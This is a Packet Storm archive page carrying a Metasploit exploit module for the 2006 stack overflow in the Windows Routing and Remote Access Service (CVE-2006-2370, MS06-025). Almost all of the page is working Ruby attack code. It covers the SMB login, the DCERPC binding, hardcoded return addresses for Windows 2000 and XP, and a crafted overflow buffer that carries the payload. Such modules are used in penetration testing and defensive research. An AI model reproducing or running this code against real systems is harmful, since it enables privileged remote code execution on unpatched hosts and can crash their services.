exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft RRAS Service Overflow

Microsoft RRAS Service Overflow
Posted Nov 26, 2009
Authored by H D Moore, Nicolas Pouvesle | Site metasploit.com

This Metasploit module exploits a stack overflow in the Windows Routing and Remote Access Service. Since the service is hosted inside svchost.exe, a failed exploit attempt can cause other system services to fail as well. A valid username and password is required to exploit this flaw on Windows 2000.

tags | exploit, remote, overflow
systems | windows
advisories | CVE-2006-2370
SHA-256 | 47054366204902bd94eaba8eae3d382f1284a1330486cc63fc5b83ed691498df

Microsoft RRAS Service Overflow

Change Mirror Download
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB


def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft RRAS Service Overflow',
'Description' => %q{
This module exploits a stack overflow in the Windows Routing and Remote
Access Service. Since the service is hosted inside svchost.exe, a failed
exploit attempt can cause other system services to fail as well. A valid
username and password is required to exploit this flaw on Windows 2000.
When attacking XP SP1, the SMBPIPE option needs to be set to 'SRVSVC'. },
'Author' =>
[
'Nicolas Pouvesle <nicolas.pouvesle [at] gmail.com>',
'hdm'
],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2006-2370' ],
[ 'OSVDB', '26437' ],
[ 'BID', '18325' ],
[ 'MSB', 'MS06-025' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 1104,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2000 SP4', { 'Ret' => 0x7571c1e4 } ],
[ 'Windows XP SP1', { 'Ret' => 0x7248d4cc } ],
],

'DisclosureDate' => 'Jun 13 2006'))

register_options(
[
OptString.new('SMBPIPE', [ true, "The pipe name to use (ROUTER, SRVSVC)", 'ROUTER']),
], self.class)

end

# Post authentication bugs are rarely useful during automation
def autofilter
false
end

def exploit

connect()
smb_login()

handle = dcerpc_handle('20610036-fa22-11cf-9823-00a0c911e5df', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])

print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")


print_status('Getting OS...')

# Check the remote OS name and version
os = smb_peer_os
pat = ''

case os
when /Windows 5\.0/
pat =
payload.encoded +
"\xeb\x06" +
rand_text_alphanumeric(2) +
[target.ret].pack('V') +
"\xe9\xb7\xfb\xff\xff"
os = 'Windows 2000'
when /Windows 5\.1/
pat =
rand_text_alphanumeric(0x4c) +
"\xeb\x06" +
rand_text_alphanumeric(2) +
[target.ret].pack('V') +
payload.encoded
os = 'Windows XP'
end

req = [1, 0x49].pack('VV') + pat + rand_text_alphanumeric(0x4000-pat.length)
len = req.length
stb =
NDR.long(0x20000) +
NDR.long(len) +
req +
NDR.long(len)

print_status("Calling the vulnerable function on #{os}...")

begin
dcerpc.call(0x0C, stb)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
rescue => e
if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
raise e
end
end

# Cleanup
handler
disconnect
end

end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close